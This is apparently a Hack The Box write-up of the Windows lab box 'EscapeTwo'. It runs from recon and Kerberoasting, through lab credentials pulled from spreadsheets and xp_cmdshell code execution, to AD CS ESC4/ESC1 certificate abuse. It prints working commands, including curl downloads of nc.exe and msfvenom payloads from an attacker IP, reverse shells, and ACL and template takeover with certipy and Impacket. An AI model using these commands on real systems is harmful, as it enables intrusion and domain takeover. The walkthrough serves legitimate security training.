EscapeTwo
2025-01-14
INTRODUCTION
Alright! Here comes Season 7, Vice. Our first box is Windows, rated Easy. Right away, it’s important to note that we’re provided a credential for this one, for the rose account. With this credential, we successfully accessed SMB shares on the sequel.htb server finding the Accounting Department which contained garbled spreadsheets that, when opened as archives and read as raw XML, revealed a list of names and credentials. One of these credentials gave access to MS-SQL, that had xp_cmdshell enabled - providing us a foothold of RCE.
Using xp_cmdshell, we discovered that curl was available, allowing us to transfer our own tools to the target. In the end, we opened a reverse shell using msfvenom. After a bit of manual enumeration of the filesystem, we found a credential inside the MSSQL config files, prompting us to check for credential reuse via credential-spraying. Thankfully, the credential was reused, which led to WinRM access of the target, and the user flag.
Privesc to root was actually pretty challenging. Operating on a hunch that the box had something to do with the certificate authority, we attempted to compromise the ca_svc account. By utilizing Bloodhound-CE and Rusthound, we uncovered an attack path to privesc via a very strange relation between our user (from WinRM) to a certain overly-permissive group. Ultimately, this led to the famous “ESC4” attack path of AD CS certificate abuse.
This box was a not-so-gentle introduction into Season 7, but I learned quite a bit about Active Directory attacks. It took a while, but I’m glad I stuck with it!

RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49685/tcp open unknown
49686/tcp open unknown
49689/tcp open unknown
49694/tcp open unknown
49716/tcp open unknown
49735/tcp open unknown
59297/tcp open unknown
These results strongly indicate that we’re looking at a Windows Active Directory domain controller.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
Caution, large output!
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 09:18:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.129.35.38:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.35.38:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-14T08:58:32
|_Not valid after: 2055-01-14T08:58:32
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49735/tcp open msrpc Microsoft Windows RPC
59297/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-14T09:19:58
|_ start_date: N/A
Right away, we know some important facts:
- The domain is
sequel.htb - This host is
DC01.sequel.htb- As DC, it’s also the DNS, Kerberos authority, LDAP(s) server, etc…
- Oddly enough, there is an exposed MSSQL server. I’ll check that out soon 🚩
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No significant results
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 09:23:49Z)
123/udp open ntp NTP v3
These are the usual suspects for a domain controller. Nothing out of the ordinary here.
Domain
Noting the redirect from the nmap scan, I added dc01.sequel.htb to /etc/hosts and did banner grabbing on that domain:
DOMAIN=sequel.htb
echo "$RADDR dc01.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
Just in case nmap somehow made a mistake, I figured I’d check for unauthenticated SMB:
smbmap -H $RADDR --dc-ip $RADDR
# [*] Detected 1 hosts serving SMB
# [*] Established 1 SMB connections(s) and 0 authenticated session(s)
# [*] Closed 1 connections
Ok, that’s a good sign. Let’s check for other anonymous services:
for SVC in smb mssql ldap winrm; do
echo "Checking $SVC for anonymous authentication...";
crackmapexec $SVC $RADDR -u '' -p '';
done
Kerberos
One tool for this is kerbrute. I find the regular python one to be a bit of a pain, so I’ll use a precompiled one. We need to provide a wordlist of usernames:
USERSLIST=/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt
kerbrute_linux_amd64 userenum -d sequel.htb --dc $RADDR $USERSLIST | tee usernames.txt

Great, so now we know about these users:
- michael
- ryan
- oscar
- rose
- administrator
I was using a very large wordlist, so I didn’t actually let it terminate. Even if I did, there’s no guarantee that this is a comprehensive list of the AD users.
Let’s make a better list of those, instead of just the raw output:
cat usernames.txt | awk '{print $7}' | sort | uniq -i | tee users.txt
cat users.txt | cut -d '@' -f 1 > names.txt
rm usernames.txt
🚫 Brute force
Let’s quickly try brute-forcing the passwords, in case any have a particularly bad password. First, I’ll assemble the wordlist:
This could have been a
bashloop, but it’s easier to remember the syntax for Cracken.
PASSWORDS=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt
cracken generate -w names.txt -w $PASSWORDS "?w1:?w2" -o kerbrute_wordlist.lst
Now I’l reuse kerbrute in brute-forcing mode:
kerbrute_linux_amd64 bruteforce -d sequel.htb --dc $RADDR kerbrute_wordlist.lst
# 2025/01/14 12:42:22 > Done! Tested 4995 logins (0 successes) in 125.461 seconds
🚫 AS-REP Roast
We have a list of users, so we should be able to use GetNPUsers (also from Impacket) to check if any of the users have kerberos preauthentication disabled (vulnerable to an ASREPRoast):
GetNPUsers.py -usersfile ./names.txt -dc-ip $RADDR 'sequel.htb/'

Nope, none of these users are vulnerable to an ASREPRoast.
🚫 MSSQL
The nmap scans showed MS-SQL running on the standard port. Let’s take a look. DBeaver would work, but I’ll just use the mssql tool from Impacket:
mssqlclient.py dc01.sequel.htb
# [*] Encryption required, switching to TLS
# [-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed for user ''.
⭐ Giant DUH moment
I opened my web browser again, where I had HTB open… and was horrified to see this 😱

Yes, that’s right: we had a credential the whole time.
rose : KxEPkKe6R8su🚨
FOOTHOLD
🚫 Kerberoast
💡 Since we have a valid credential, it’s now possible to use Kerberos against itself.
Using the rose account, we can request a TGS from Kerberos for other services, and it should contain a hash derived from the service user’s password… To try this, we’ll use another Impacket tool, GetUserSPNs.py:
👇 By using the
-requestparameter, a successful attack should yield us some hashes to crack usingjohnorhashcat
GetUserSPNs.py -request -outputfile ~/Box_Notes/EscapeTwo/loot/UserSPNs.txt -dc-ip $RADDR 'sequel.htb/rose:KxEPkKe6R8su'

Nice - That got us TGSs for two users, sql_svc and ca_svc!
Let’s see if we can crack those hashes. Since this is HTB, I’ll start with rockyou:
WLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=$WLIST loot/UserSPNs.txt
hashcat UserSPNs.txt $WLIST
Nothing! That’s too bad. Many service accounts have auto-generated, highly secure passwords. Maybe that’s the case with these.
SMB (Authenticated)
Let’s try SMB again, but this time with some credentials:
smbclient -U 'rose%KxEPkKe6R8su' \\\\sequel.htb

Great, there’s some SMB shares there. Users seems like the most natural choice, but Accounting Department is also interesting.
Note, an alternate way of checking the SMB shares is to use
smbmap:smbmap -u rose -p KxEPkKe6R8su -H $RADDR --dc-ip $RADDR
This gives the same info, but it’s a little easier to read.
smbmapalso has more capabilities than just handling fileshares (ex. sometimes it is possible to use the-x COMMANDto gain really easy RCE )
Inside Users appears to be a regular Windows system - a lot to explore at first glance. Instead, I’ll open it in my file browser, Thunar by entering smb://10.129.35.38 into the address bar / filepath; this opens up a login window:
At first when I tried this, Thunar would not accept any
smb://URI. Not sure why I was missing it, but it seems likegvfs-backendswas missing from my system:sudo apt install gvfs-backends

While that made it a lot more comfortable to explore the share, I didn’t end up finding any useful information under Users.
What about the other share, Accounting Department? Let’s check it out:

Oh, nice! Accountants do love their spreadsheets, don’t they? I bet there’s something good inside!
Spreadsheets
Upon trying to open the spreadsheets, I’m seeing some very odd contents. Both of the xlsx documents appear garbled like this:

It seems like there is no encoding that I can open these files with that gives any intelligible contents.
😒 Oh well, guess we’ll do it the hard way! Thankfully, xlsx is just a big ol’ linked XML document, so we can read it like that instead. Just open it using an archive manager (I’m using Engrampa):

The file /xl/workbook.xml holds the workbook definition, where we can see a list of sheets (there’s only Sheet1). The sheet contents are at /xl/worksheets/sheet1.xml. However, the really important info is under /xl/sharedStrings.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24">
<si><t xml:space="preserve">First Name</t></si>
<si><t xml:space="preserve">Last Name</t></si>
<si><t xml:space="preserve">Email</t></si>
<si><t xml:space="preserve">Username</t></si>
<si><t xml:space="preserve">Password</t></si>
<si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si>
<si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si>
<si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si>
<si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>
😂 I thought the names from our Kerbrute user enumeration seemed familiar…
We’re looking at the names of the Accounting department from The Office (the American one).
We still need to verify these, but here’s the credentials:
angela : 0fwz7Q4mSpurIt99oscar : 86LxLBMgEWaKUnBGkevin : Md9Wlq1E5bZnVDVosa : MSSQLP@ssw0rd!
🤔 Maybe sa stands for service account? We’ll see…
Let’s quickly try all these credentials with SMB. First, I’ll update my names.txt list with the new names: angela, kevin, and sa:
vim names.txt
Now I’ll try all username-password combinations using crackmapexec:
crackmapexec smb $RADDR -u names.txt -p passwords.txt --continue-on-success
Only oscar and rose have successful SMB authentication. I checked if oscar can see any other SMB shares, but unfortunately he can only see the same ones as rose.
MSSQL (Authenticated)
Just to try all the credentials at the same time, I figured I’d loop through the credentials any try logging into MS-SQL:
while IFS= read -r cred; do
echo "TRYING CREDENTIAL: $cred";
mssqlclient.py "$cred@dc01.sequel.htb";
done < creds.txt
Authentication failed on all accounts except for sa. Let’s check out that database finally!
select name from sys.tables;
spt_fallback_db
spt_fallback_dev
spt_fallback_usg
spt_monitor
MSreplication_options
However, there’s nothing of interest in any of these tables:

We might be able to use the database to gain RCE, though, using xp_cmdshell. Sometimes we can also use it to read/write files.
xp_cmdshell
Let’s start with a simple whoami:
SQL> xp_cmdshell whoami
# [-] ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
Cool, let’s just enable it then?
SQL> enable_xp_cmdshell
SQL> RECONFIGURE
SQL> xp_cmdshell whoami
# output
# --------------
# sequel\sql_svc
#
# NULL
#
😂 That was easy! We just got RCE.
And that’s awesome, but to issue any commands I need to keep repeating the same sequence through SQL:
enable_xp_cmdshell RECONFIGURE xp_cmdshell {command}… and that’s a little tedious! 😬
We already saw that the target is listening for WinRM; using the xp_cmdshell, let’s see what users can log into WinRM:
net localgroup "Remote Management Users"
Looks like only ryan has access, and we don’t have his password yet, so that’s not going to work.
USER FLAG
Reverse shell
Using the xp_cmdshell I checked for a few tools that I could use to form a reverse shell, but unfortunately the options are very limited. Powershell is present, but something about running the payload through xp_cmdshell seems to be messing it up.
Thankfully, curl is present, so I should be able to just transfer my own tools onto the target and form a reverse shell that way.
See here for simple-server
sudo ufw allow from $RADDR to any port 8000 proto tcp
cd ./www
cp ~/Tools/WINDOWS/windows-binaries/nc.exe .
simple-server 8000 -v
Now, from the xp_cmdshell:
xp_cmdshell curl http://10.10.14.43:8000/nc.exe -o C:\Users\sql_svc\AppData\Local\Temp\paint.exe
xp_cmdshell dir /a C:\Users\sql_svc\AppData\Local\Temp

Seems like it worked? Let’s try forming the reverse shell
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash # usually I'm in zsh
rlwrap socat TCP4-LISTEN:4444,fork STDOUT
xp_cmdshell C:\Users\sql_svc\AppData\Local\Temp\paint.exe 10.10.14.43 4444 -e sh
My reverse shell listener is contacted, and it looks like the connection forms, but then it drops after the first keystroke or after a few seconds… Hmm 🤔
I tried a socat-socat shell, too. No luck there either.
How about powershell? I saved the standard Powershell #1 reverse shell from Revshells.com as rev.ps1 and served it to the target using an HTTP server:
vim rev.ps1 # paste the revshell in
simple-server 8000 -v
xp_cmdshell curl http://10.10.14.43:8000/rev.ps1 -o C:\Users\sql_svc\AppData\Local\Temp\rev.ps1
xp_cmdshell powershell C:\Users\sql_svc\AppData\Local\Temp\rev.ps1
It contacted my reverse shell listener and… this time it stuck! 👍

Unsurprisingly, MS-SQL was being ran by sql_svc.
Not sure if it’s relevant yet, but this account was one of the two that I gained a krb5 hash for when attempting a Kerberoast.
Call me picky, but I’m still not very satisfied with this reverse shell. It’s missing some “nice to have” features, like line breaks… Maybe I can do better still 🤔 How about one generated with msfvenom?
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.43 LPORT=4444 -f exe -o rev.exe
simple-server 8000 -v
xp_cmdshell curl http://10.10.14.43:8000/rev.exe -o C:\Users\sql_svc\AppData\Local\Temp\rev.exe
xp_cmdshell C:\Users\sql_svc\AppData\Local\Temp\rev.exe
Excellent - this is much more comfortable:

Filesystem Enumeration
I looked pretty thoroughly through C:\Users\sql_svc but didn’t find anything. After I left the Users directory, I saw something a little odd:

What’s this SQL2019 directory? The other directories in C:\ are very normal, but this one stands out. Let’s look inside.
💡 Aha! Inside here, we have the main config file for MS-SQL: C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI:
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
Alright 👍 Another credential to add to our list: sql_svc : WqSZAF6CysDQbGb3
I’ve been burned too many times by failing to find credential reuse, so I’ve gained this habit:
- I keep two lists going: one of “services that need authentication”, one of suspected or known credentials
- Sometimes the “credentials” list is actually composed of two lists: usernames, and passwords
- Any time either list gets a new entry, check ALL new combinations for credential re-use!
It is such a simple procedure, but being rigorous about it will save a LOT of time ⭐
Let’s update the passwords list (passwords.txt) with the newly found password, and update the users list (names.txt) with any previously-unrecorded names:
net users # note that there are a few users we havent recorded
vim names.txt # record sql_svc, ca_svc, Guest, and krbtgt
vim passwords.txt # record WqSZAF6CysDQbGb3
I should check the username / password combinations against the services I know about (LDAP, SMB, WinRM, MSSQL).
I’ll start with WinRM, since it seems like a logical next step to do a user pivot.
crackmapexec winrm $RADDR -u names.txt -p passwords.txt --continue-on-success
😆 Alright! Found one:

Great - let’s open up that WinRM shell that we know ryan has access to:
evil-winrm -i $RADDR -u ryan -p WqSZAF6CysDQbGb3

There’s the user flag - just type it out for some points:
type C:\Users\ryan\Desktop\user.txt
ROOT FLAG
Bloodhound (kali version)
Now that we have a nice, reliable WinRM connection, it’s time to do some Bloodhound enumeration.
We’ll need to store and view the data. First, this starts up the neo4j database:
sudo neo4j start

Next, navigate to the http dashboard for neo4j because we need to clear out any old data that might be inside it by issuing this query:
MATCH (n) DETACH DELETE n

Next, we need to collect the data from Active Directory:
bloodhound-python -ns $RADDR -d 'sequel.htb' -dc 'dc01.sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' -c All
This results in a bunch of files representing each object in Active Directory:

Finally, we can run bloodhound to open the frontend/UI and interpret what we’ve collected:
bloodhound
Click the Upload Data button from the righthand tray and multi-select all the files we just exported from bloodhound-python:

I like to start by showing all users, then marking some of them as “Owned” if I have their credentials:

I also set CA_SVC as a high-value target, since if we control the Certificate Authority, there’s a good chance we can simply grant ourselves Administrator login.

Apparently ryan has WriteOwner over ca_svc. The Help text elaborates that the tactic is like this:
- Write a new owner to the target account: set the owner as an account you’ve already “owned” (in our case, we could use
ryan) - Grant
FullControlDACL on the target account - ???
- Profit
Currently, I’m not sure what step 3 will be. Hopefully that will become clear once I gain FullControl on
ca_svc🤷♂️
Taking over ca_svc
Writing a new Owner
$SecPassword = ConvertTo-SecureString 'R0bin5' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('sequel\ca_svc', $SecPassword)
Set-DomainObjectOwner -Credential $Cred -TargetIdentity ca_svc -OwnerIdentity ryan

Let’s try the same tactic, except from my attacker machine instead of a local account on the target machine. I’ll use owneredit from Impacket:
Like many Impacket tools, the syntax is extremely finicky. To figure out exactly what I needed to do, I referenced this article.
(The trick is specifying the
identityin three separate parts, each inside singlequoted string literals.)
cd ~/Tools/Impacket
source bin/activate # I keep the tools inside a venv
python3 bin/owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'

🙂 Alright - that’s a good sign. So at this point, ryan is the owner of ca_svc.
Granting FullControl
The whole point of becoming the owner is to gain the FullControl DACL over ca_svc. For this, we could ostensibly just use Powershell from the ryan WinRM shell:
Add-DomainObjectAcl -TargetIdentity ca_svc -Rights All
…but I ran into the same problem as before (‘Add-DomainObjectAcl’ is not recognized as the name of a cmdlet)
So, once again, let’s go back to the attacker machine and try using dacledit, also from Impacket:
python3 bin/dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
At first, it failed:

However, I suspected that this was because I took so long to write the command, and that there’s some kind of cleanup script running on the box. After repeating the WriteOwner step, it worked fine:

😁 Great! Now ryan has FullControl over ca_svc.
Now that we have FullControl, Bloodhound docs suggest that we follow up by either a targeted Kerberoast or by changing the password.
Step 3 ?
For the rest of this walkthrough, you may notice a slight difference in my calls to Impacket tools. I decided to delete my old
venvand install a system-wide copy of Impacket usingpipxinstead. Also BloodyAD:rm -rf ~/Tools/Impacket python3 -m pipx install impacket python3 -m pipx install bloodyADNow I can use those tools without having to enter and source the
venv. How convenient! 👏
So now what? Should we see what we can do by taking control of ca_svc? Bloodhound suggests changing the password. From the attacker machine, use the Impacket tools again:
owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# result: Ryan now has FullControl over ca_svc
Then, from the WinRM shell, just change the password:
net user ca_svc <new_password> # I used password "goldenhawk"
Note that this could also have been done from the attacker machine:
bloodyAD --host $RADDR -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set password 'ca_svc' 'goldenhawk'
Seems to work.
🚫 Reverse shell as ca_svc
Maybe I’ll try opening a reverse shell as ca_svc?
(Make sure the reverse shell listener is open again; same IP, same port)
upload RunasCs.exe
.\RunasCs.exe ca_svc goldenhawk ".\rev.exe"
But I just encounter this error:

I also tried running Certify.exe as ca_svc, but encountered the same error. In fact, it seems I can’t run anything as ca_svc!
Certificates recon
Let’s check what certificate templates exist. Using the ryan WinRM shell, we can upload Certify.exe and use it on the target:
cd C:\Users\ryan\Downloads
upload Certify.exe
.\Certify.exe cas
There are a few templates registered, including a suspicious “Dunder Mifflin” one:
Enabled Certificate Templates:
DunderMifflinAuthentication
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
The prequel to this box, Escape used a misconfigured certificate template to achieve privesc. The often-quoted literature around this technique is here (by Will Schroeder and Lee Christensen). Actually… one of the first AD boxes I ever did, Authority, also had the same privesc vector!
In both of these boxes, the “ESC1” criterion was satisfied: that the user requesting the certificate was able to specify the SAN. Thankfully, Certify.exe has a feature for checking which certificate templates allow this:
.\Certify.exe find /enrolleeSuppliesSubject
It looks like two of the certificate templates have this flaw that enables ESC1:
- WebServer
- SubCA
Unfortunately, neither of those are available to ryan (or to rose)… So where do we go from here? 🤔
Bloodhound-CE and Rusthound-CE
It came to my attention that the “old” Bloodhound (the one bundled in Kali) has some shortcomings when working with certificates, but that the “new” one, Bloodhound-CE fixes all that.
Rusthound
There’s an (unofficial) ingestor for Bloodhound-CE, written in Rust, that should handle certificate stuff properly. It’s fully cross-platform, which is definitely a nice feature.
You can think of
rusthound-ceas a replacement for whatbloodhound-pythondid for us earlier
sudo apt install cargo libkrb5-dev -y && cargo install rusthound-ce
rusthound-ce -d 'sequel.htb' -u ryan -p WqSZAF6CysDQbGb3 -z
# This should result in a zip file that we can import into Bloodhound-CE
Starting Bloodhound-CE
According to the documentation, Bloodhound-CE is best ran out of a Docker container.
For some reason, I was using the snap version of
docker, which doesn’t even havedocker compose(neither does thedocker.iopackage bundled with kali)I uninstalled the snap, then proceeded with the
docker-ceinstallation instructions per Kali’s advice:echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" | sudo tee /etc/apt/sources.list.d/docker.list curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.ioBe sure to actually start the
dockerservice, too:sudo systemctl start docker sudo systemctl enable docker # run it on startup
Go ahead and grab the docker-compose.yml file from here. Bloodhound-CE uses PostgreSQL, Neo4J, and a binary for their UI - we can run the whole stack using docker compose:
docker compose up
It might take a minute to pull the images…

Get your inital, randomly generated, password from the the logs:

Open the web interface at http://localhost:8080 and log in using admin:[initial_password]:

Once you’re logged-in, you’ll be asked to change passwords. After that, you’re ready to roll!
Bloodhound-CE Analysis
Finally, we can upload the data from the Rusthound ingestor by going to [Settings cog] > Administration > File Ingest > Upload :

Going back to the main view, we can do a quick Pathfinding search from ryan to administrator and see the remainder of the attack path:

WOW 😍 This is way better than the old version of Bloodhound (not that the old version wasn’t itself pretty great).
We can see very clearly that the attack path includes ADCSESC4, likely referring to ESC4 from the famous article I mentioned earlier. If you want a summary, check either of these out:
AD CS - ESC4
Summary
To put it in one sentence, ESC4 is when we have the ability to write or reconfigure certificate templates, thereby allowing us to create (or modify into) a flawed template that is vulnerable to ESC1.
That’s nice - it means we’re only one step away from the same privesc technique that was used in Escape and Authority 👍
My interpretation of the steps shown in Bloodhound-CE are as follows:
- (ESC4) Create a template that is vulnerable to ESC1
- (ESC1) Request a certificate for authentication, supplying our own subject-alternate-name (we’ll use Administrator)
- Authenticate using the certificate, granting us an NTLM hash
- Pass-the-hash as the target (Administrator)
I already tested out (3) and (4) earlier by requesting the
Usercertificate forryan, then authenticating and passing-the-hash. Seemed not too difficult!
Create the template
We can gain FullControl as before:
# Set ryan as owner of ca_svc
owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# Give ryan FullControl over ca_svc
dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
Now that we have FullControl we can take over the account using shadow credentials:
certipy shadow auto -username 'ryan@sequel.htb' -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'

With the NT hash, we can impersonate ca_svc without creating a reverse shell or using RunAs. Next, we will act as ca_svc, using certipy to modify an existing template to make it vulnerable:
# Create the ESC1-vulnerable template
certipy template -username 'ca_svc@sequel.htb' -hashes [paste_BT_hash] -template DunderMifflinAuthentication -save-old

This should have made DunderMifflinAuthentication vulnerable to ESC1 👍
Request the certificate
We can use certipy again to request enrolment using the vulnerable certificate template. Following the plan for ESC1, we’ll specify our own SAN using the -upn argument:
👇 In case you’re wondering, I obtained the CA name by running
.\Certify.exe casasryanand reading theEnterprise CA Namefield under the section Enterprise/Enrollment CAs. In this case, it’ssequel-DC01-CA
-targetis the target domain. In this case,sequel.htb
certipy req -username 'ca_svc@sequel.htb' -hashes [paste_NT_hash] -ca sequel-DC01-CA -target sequel.htb -template DunderMifflinAuthentication -upn Administrator@sequel.htb
# This should yield us a .pfx file

